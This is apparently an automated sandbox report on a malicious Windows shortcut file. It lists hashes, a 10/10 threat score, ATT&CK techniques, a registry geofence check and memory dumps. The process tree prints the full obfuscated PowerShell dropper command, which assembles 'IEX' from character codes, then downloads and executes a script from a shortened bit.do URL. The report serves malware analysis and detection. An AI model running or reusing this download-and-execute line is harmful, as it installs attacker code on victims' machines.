6e40f381f829b53ca5cc827578a26d46e45cd181be3b0d25afbd2871ca6fc138

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
15/05/2024, 05:40

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General

Target

44c168ce26509745482353631b69a718_JaffaCakes118.lnk
Size

2KB
MD5

44c168ce26509745482353631b69a718
SHA1

961d144d6fe698db689933e25918d627bf322f7f
SHA256

6e40f381f829b53ca5cc827578a26d46e45cd181be3b0d25afbd2871ca6fc138
SHA512

28d37ad9c306447cac0446be5f6b65bd4bd6df3c9b204aa30c662e1329c6579cccbaf2ceb49654d7c309cccad3723263aef980f6fe38bd1be7f4229e018350c2

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://bit.do/eUUj6

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
2	3988	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation	cmd.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3988	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3988	powershell.exe
3988	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3988	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 740 wrote to memory of 3988	740	cmd.exe	83
PID 740 wrote to memory of 3988	740	cmd.exe	83

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\44c168ce26509745482353631b69a718_JaffaCakes118.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:740
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Windo 1 $yiw=[string][char[]]@(0x49,0x45,0x78) -replace ' ','';sal s $yiw;$jg=((New-Object Net.WebClient)).DownloadString('http://bit.do/eUUj6');s $jg
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3988

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0jojibuh.gqu.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3988-11-0x00007FFDD36B0000-0x00007FFDD3A05000-memory.dmp

Filesize
3.3MB

Download
memory/3988-13-0x00007FFDD36B0000-0x00007FFDD3A05000-memory.dmp

Filesize
3.3MB

Download
memory/3988-12-0x000001236DF60000-0x000001236DF82000-memory.dmp

Filesize
136KB

Download
memory/3988-14-0x00007FFDD36B0000-0x00007FFDD3A05000-memory.dmp

Filesize
3.3MB

Download
memory/3988-15-0x00007FFDD36B0000-0x00007FFDD3A05000-memory.dmp

Filesize
3.3MB

Download
memory/3988-18-0x00007FFDD36B0000-0x00007FFDD3A05000-memory.dmp

Filesize
3.3MB

Download
memory/3988-19-0x00007FFDD36B0000-0x00007FFDD3A05000-memory.dmp

Filesize
3.3MB

Download